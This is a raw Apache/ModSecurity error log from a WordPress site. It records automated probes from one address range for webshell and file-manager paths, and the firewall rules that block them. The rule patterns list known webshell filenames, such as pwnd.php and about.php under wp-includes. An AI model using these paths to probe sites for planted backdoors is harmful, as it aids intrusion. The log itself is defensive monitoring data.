[Tue Feb 10 19:20:32.871838 2026] [:error] [pid 47830:tid 47848] [client 194.5.82.51:21691] [client 194.5.82.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aYsUgEco45BZs8e301BqIAAAAAI"]
[Tue Feb 10 19:20:33.100766 2026] [proxy_fcgi:error] [pid 59544:tid 59551] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:33.257970 2026] [proxy_fcgi:error] [pid 59544:tid 59554] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:33.490004 2026] [proxy_fcgi:error] [pid 59544:tid 59562] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:33.609863 2026] [proxy_fcgi:error] [pid 59544:tid 59570] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:33.779863 2026] [proxy_fcgi:error] [pid 59544:tid 59556] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:33.888570 2026] [:error] [pid 59544:tid 59569] [client 194.5.82.49:36189] [client 194.5.82.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.5.82.49, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYsUgaZySR9mFY4BainnzAAAAZI"]
[Tue Feb 10 19:20:33.892779 2026] [proxy_fcgi:error] [pid 59544:tid 59569] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:34.178245 2026] [proxy_fcgi:error] [pid 59544:tid 59566] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:34.291332 2026] [proxy_fcgi:error] [pid 59544:tid 59559] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:34.409701 2026] [proxy_fcgi:error] [pid 59544:tid 59553] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:34.677020 2026] [proxy_fcgi:error] [pid 59544:tid 59557] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:34.910133 2026] [proxy_fcgi:error] [pid 59544:tid 59575] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:35.181712 2026] [proxy_fcgi:error] [pid 59544:tid 59548] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:35.297968 2026] [proxy_fcgi:error] [pid 59544:tid 59558] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:35.566480 2026] [proxy_fcgi:error] [pid 59544:tid 59571] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:35.693236 2026] [proxy_fcgi:error] [pid 59544:tid 59560] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:35.812507 2026] [proxy_fcgi:error] [pid 59544:tid 59551] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:35.957773 2026] [proxy_fcgi:error] [pid 59544:tid 59554] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:36.074022 2026] [proxy_fcgi:error] [pid 59544:tid 59550] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:36.302812 2026] [proxy_fcgi:error] [pid 59544:tid 59570] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:36.417671 2026] [proxy_fcgi:error] [pid 59544:tid 59556] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:36.568130 2026] [proxy_fcgi:error] [pid 59544:tid 59569] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:36.690038 2026] [proxy_fcgi:error] [pid 59544:tid 59567] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:36.802540 2026] [proxy_fcgi:error] [pid 59544:tid 59555] [client 194.5.82.49:36189] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:36.911831 2026] [:error] [pid 59544:tid 59566] [client 194.5.82.49:36189] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aYsUhKZySR9mFY4Bainn5gAAAZA"]
[Tue Feb 10 19:20:37.302082 2026] [proxy_fcgi:error] [pid 47831:tid 47881] [client 194.5.82.10:54921] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:37.412416 2026] [:error] [pid 47831:tid 47885] [client 194.5.82.10:54921] [client 194.5.82.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aYsUhSdxbZYarWVkiABkVwAAAEw"]
[Tue Feb 10 19:20:37.671798 2026] [proxy_fcgi:error] [pid 47831:tid 47891] [client 194.5.82.36:26949] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:37.789437 2026] [proxy_fcgi:error] [pid 47831:tid 47875] [client 194.5.82.36:26949] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:38.058357 2026] [proxy_fcgi:error] [pid 47831:tid 47892] [client 194.5.82.36:26949] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:38.171035 2026] [proxy_fcgi:error] [pid 47831:tid 47876] [client 194.5.82.36:26949] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:38.285278 2026] [proxy_fcgi:error] [pid 47831:tid 47895] [client 194.5.82.36:26949] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:38.512355 2026] [proxy_fcgi:error] [pid 47831:tid 47886] [client 194.5.82.36:26949] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:38.660842 2026] [proxy_fcgi:error] [pid 47831:tid 47884] [client 194.5.82.36:26949] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:38.780011 2026] [proxy_fcgi:error] [pid 47831:tid 47893] [client 194.5.82.36:26949] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:38.893289 2026] [proxy_fcgi:error] [pid 47831:tid 47883] [client 194.5.82.36:26949] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:39.005734 2026] [:error] [pid 47831:tid 47877] [client 194.5.82.36:26949] [client 194.5.82.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aYsUhydxbZYarWVkiABkYwAAAEQ"]
[Tue Feb 10 19:20:39.281065 2026] [proxy_fcgi:error] [pid 30054:tid 30066] [client 194.5.82.40:21471] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:39.398441 2026] [proxy_fcgi:error] [pid 30054:tid 30060] [client 194.5.82.40:21471] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:39.507838 2026] [:error] [pid 30054:tid 30061] [client 194.5.82.40:21471] [client 194.5.82.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-atom.php"] [unique_id "aYsUh2ecgOOXCu-GgYUsJAAAAQU"]
[Tue Feb 10 19:20:39.773715 2026] [proxy_fcgi:error] [pid 47937:tid 47953] [client 194.5.82.39:24327] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:39.887886 2026] [proxy_fcgi:error] [pid 47937:tid 47940] [client 194.5.82.39:24327] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:40.269141 2026] [proxy_fcgi:error] [pid 47937:tid 47950] [client 194.5.82.39:24327] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:40.500984 2026] [proxy_fcgi:error] [pid 47937:tid 47957] [client 194.5.82.39:24327] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:40.611852 2026] [:error] [pid 47937:tid 47956] [client 194.5.82.39:24327] [client 194.5.82.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aYsUiMpqXpC2CvJ3fOOhSgAAANE"]
[Tue Feb 10 19:20:40.987982 2026] [proxy_fcgi:error] [pid 7704:tid 7728] [client 194.5.82.18:60383] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:41.101463 2026] [proxy_fcgi:error] [pid 7704:tid 7712] [client 194.5.82.18:60383] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:41.217535 2026] [proxy_fcgi:error] [pid 7704:tid 7714] [client 194.5.82.18:60383] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:41.352968 2026] [proxy_fcgi:error] [pid 7704:tid 7718] [client 194.5.82.18:60383] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:41.467929 2026] [proxy_fcgi:error] [pid 7704:tid 7713] [client 194.5.82.18:60383] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:41.584602 2026] [proxy_fcgi:error] [pid 7704:tid 7729] [client 194.5.82.18:60383] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:41.865797 2026] [proxy_fcgi:error] [pid 7704:tid 7727] [client 194.5.82.18:60383] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:41.990632 2026] [proxy_fcgi:error] [pid 7704:tid 7719] [client 194.5.82.18:60383] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:42.104285 2026] [proxy_fcgi:error] [pid 7704:tid 7725] [client 194.5.82.18:60383] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:42.652899 2026] [proxy_fcgi:error] [pid 7704:tid 7709] [client 194.5.82.18:60383] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:42.879286 2026] [proxy_fcgi:error] [pid 7704:tid 7717] [client 194.5.82.18:60383] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:42.993205 2026] [proxy_fcgi:error] [pid 7704:tid 7721] [client 194.5.82.18:60383] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:43.107922 2026] [proxy_fcgi:error] [pid 7704:tid 7722] [client 194.5.82.18:60383] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:43.256462 2026] [:error] [pid 7704:tid 7710] [client 194.5.82.18:60383] [client 194.5.82.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aYsUi_0EcqgVBUs6CW0MlAAAAcM"]
[Tue Feb 10 19:20:43.491819 2026] [proxy_fcgi:error] [pid 47830:tid 47867] [client 194.5.82.47:23395] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:43.760993 2026] [proxy_fcgi:error] [pid 47830:tid 47855] [client 194.5.82.47:23395] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:43.873885 2026] [proxy_fcgi:error] [pid 47830:tid 47864] [client 194.5.82.47:23395] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:43.986388 2026] [proxy_fcgi:error] [pid 47830:tid 47848] [client 194.5.82.47:23395] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:44.101151 2026] [proxy_fcgi:error] [pid 47830:tid 47869] [client 194.5.82.47:23395] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:44.215781 2026] [proxy_fcgi:error] [pid 47830:tid 47851] [client 194.5.82.47:23395] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:44.482474 2026] [proxy_fcgi:error] [pid 47830:tid 47847] [client 194.5.82.47:23395] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:44.855329 2026] [:error] [pid 47830:tid 47849] [client 194.5.82.47:23395] [client 194.5.82.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aYsUjEco45BZs8e301BqNAAAAAM"]
[Tue Feb 10 19:20:45.107900 2026] [proxy_fcgi:error] [pid 30054:tid 30057] [client 194.5.82.7:23425] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:45.256633 2026] [proxy_fcgi:error] [pid 30054:tid 30074] [client 194.5.82.7:23425] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:45.371133 2026] [proxy_fcgi:error] [pid 30054:tid 30078] [client 194.5.82.7:23425] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:45.486117 2026] [proxy_fcgi:error] [pid 30054:tid 30058] [client 194.5.82.7:23425] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:45.596516 2026] [:error] [pid 30054:tid 30067] [client 194.5.82.7:23425] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aYsUjWecgOOXCu-GgYUsLgAAAQs"]
[Tue Feb 10 19:20:45.818320 2026] [proxy_fcgi:error] [pid 59544:tid 59561] [client 194.5.82.37:49379] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:45.967034 2026] [proxy_fcgi:error] [pid 59544:tid 59572] [client 194.5.82.37:49379] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:46.081446 2026] [proxy_fcgi:error] [pid 59544:tid 59558] [client 194.5.82.37:49379] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:46.194199 2026] [proxy_fcgi:error] [pid 59544:tid 59571] [client 194.5.82.37:49379] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:46.309036 2026] [proxy_fcgi:error] [pid 59544:tid 59560] [client 194.5.82.37:49379] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:46.460303 2026] [proxy_fcgi:error] [pid 59544:tid 59551] [client 194.5.82.37:49379] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:46.583995 2026] [proxy_fcgi:error] [pid 59544:tid 59554] [client 194.5.82.37:49379] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:46.812809 2026] [proxy_fcgi:error] [pid 59544:tid 59562] [client 194.5.82.37:49379] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:46.957521 2026] [proxy_fcgi:error] [pid 59544:tid 59570] [client 194.5.82.37:49379] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:47.071778 2026] [proxy_fcgi:error] [pid 59544:tid 59556] [client 194.5.82.37:49379] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:47.187129 2026] [proxy_fcgi:error] [pid 59544:tid 59569] [client 194.5.82.37:49379] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:47.296258 2026] [:error] [pid 59544:tid 59567] [client 194.5.82.37:49379] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aYsUj6ZySR9mFY4Bainn9gAAAZE"]
[Tue Feb 10 19:20:47.519715 2026] [proxy_fcgi:error] [pid 7704:tid 7726] [client 194.5.82.49:22187] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:47.659341 2026] [:error] [pid 7704:tid 7707] [client 194.5.82.49:22187] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aYsUj_0EcqgVBUs6CW0MmgAAAcA"]
[Tue Feb 10 19:20:48.055262 2026] [proxy_fcgi:error] [pid 59407:tid 59413] [client 194.5.82.165:28777] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:48.475493 2026] [proxy_fcgi:error] [pid 59407:tid 59416] [client 194.5.82.165:28777] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:48.600510 2026] [proxy_fcgi:error] [pid 59407:tid 59415] [client 194.5.82.165:28777] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:49.139469 2026] [proxy_fcgi:error] [pid 59407:tid 59433] [client 194.5.82.165:28777] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:49.266006 2026] [proxy_fcgi:error] [pid 59407:tid 59428] [client 194.5.82.165:28777] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:49.496385 2026] [proxy_fcgi:error] [pid 59407:tid 59414] [client 194.5.82.165:28777] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:49.611373 2026] [proxy_fcgi:error] [pid 59407:tid 59411] [client 194.5.82.165:28777] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:49.770640 2026] [proxy_fcgi:error] [pid 59407:tid 59432] [client 194.5.82.165:28777] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:49.997912 2026] [:error] [pid 59407:tid 59418] [client 194.5.82.165:28777] [client 194.5.82.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aYsUkWLlhBXE3qmX-JkT_wAAAUk"]
[Tue Feb 10 19:20:51.364188 2026] [:error] [pid 59407:tid 59423] [client 194.5.82.26:28211] [client 194.5.82.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aYsUk2LlhBXE3qmX-JkUAgAAAU4"]
[Tue Feb 10 19:20:51.588446 2026] [proxy_fcgi:error] [pid 47937:tid 47954] [client 194.5.82.5:20835] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:51.703245 2026] [proxy_fcgi:error] [pid 47937:tid 47957] [client 194.5.82.5:20835] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:51.865826 2026] [proxy_fcgi:error] [pid 47937:tid 47956] [client 194.5.82.5:20835] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:51.974287 2026] [:error] [pid 47937:tid 47941] [client 194.5.82.5:20835] [client 194.5.82.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aYsUk8pqXpC2CvJ3fOOhWAAAAMI"]
[Tue Feb 10 19:20:52.264248 2026] [proxy_fcgi:error] [pid 59544:tid 59576] [client 194.5.82.11:23071] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:54.210433 2026] [proxy_fcgi:error] [pid 59544:tid 59572] [client 194.5.82.11:23071] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:54.476433 2026] [proxy_fcgi:error] [pid 59544:tid 59552] [client 194.5.82.11:23071] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:54.586420 2026] [:error] [pid 59544:tid 59558] [client 194.5.82.11:23071] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aYsUlqZySR9mFY4BainoAQAAAYo"]
[Tue Feb 10 19:20:55.991419 2026] [proxy_fcgi:error] [pid 47837:tid 47909] [client 194.5.82.9:24541] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:56.157805 2026] [proxy_fcgi:error] [pid 47837:tid 47917] [client 194.5.82.9:24541] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:56.388474 2026] [proxy_fcgi:error] [pid 47837:tid 47920] [client 194.5.82.9:24541] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:56.499831 2026] [:error] [pid 47837:tid 47908] [client 194.5.82.9:24541] [client 194.5.82.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aYsUmHFY8KYFPX79Z4nWyQAAAIg"]
[Tue Feb 10 19:20:56.775986 2026] [proxy_fcgi:error] [pid 59544:tid 59550] [client 194.5.82.46:50325] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:57.078141 2026] [proxy_fcgi:error] [pid 59544:tid 59569] [client 194.5.82.46:50325] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:57.197004 2026] [proxy_fcgi:error] [pid 59544:tid 59567] [client 194.5.82.46:50325] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:57.365484 2026] [proxy_fcgi:error] [pid 59544:tid 59566] [client 194.5.82.46:50325] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:57.594314 2026] [proxy_fcgi:error] [pid 59544:tid 59574] [client 194.5.82.46:50325] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:57.756201 2026] [:error] [pid 59544:tid 59553] [client 194.5.82.46:50325] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aYsUmaZySR9mFY4BainoDAAAAYU"]
[Tue Feb 10 19:20:58.105693 2026] [:error] [pid 47831:tid 47873] [client 194.5.82.26:65095] [client 194.5.82.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aYsUmidxbZYarWVkiABkiAAAAEA"]
[Tue Feb 10 19:20:58.493928 2026] [proxy_fcgi:error] [pid 47937:tid 47944] [client 194.5.82.24:22279] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:58.610058 2026] [proxy_fcgi:error] [pid 47937:tid 47954] [client 194.5.82.24:22279] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:58.759538 2026] [proxy_fcgi:error] [pid 47937:tid 47957] [client 194.5.82.24:22279] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:58.879262 2026] [proxy_fcgi:error] [pid 47937:tid 47956] [client 194.5.82.24:22279] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:20:58.992653 2026] [:error] [pid 47937:tid 47961] [client 194.5.82.24:22279] [client 194.5.82.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aYsUmspqXpC2CvJ3fOOhZgAAANY"]
[Tue Feb 10 19:20:59.312176 2026] [:error] [pid 47937:tid 47960] [client 194.5.82.34:59111] [client 194.5.82.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aYsUm8pqXpC2CvJ3fOOhaAAAANU"]
[Tue Feb 10 19:20:59.683473 2026] [:error] [pid 30054:tid 30060] [client 194.5.82.43:63443] [client 194.5.82.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aYsUm2ecgOOXCu-GgYUsQgAAAQQ"]
[Tue Feb 10 19:20:59.929810 2026] [proxy_fcgi:error] [pid 30054:tid 30065] [client 194.5.82.12:53127] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:00.299811 2026] [proxy_fcgi:error] [pid 30054:tid 30062] [client 194.5.82.12:53127] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:00.564623 2026] [proxy_fcgi:error] [pid 30054:tid 30067] [client 194.5.82.12:53127] AH01071: Got error 'Primary script unknown'
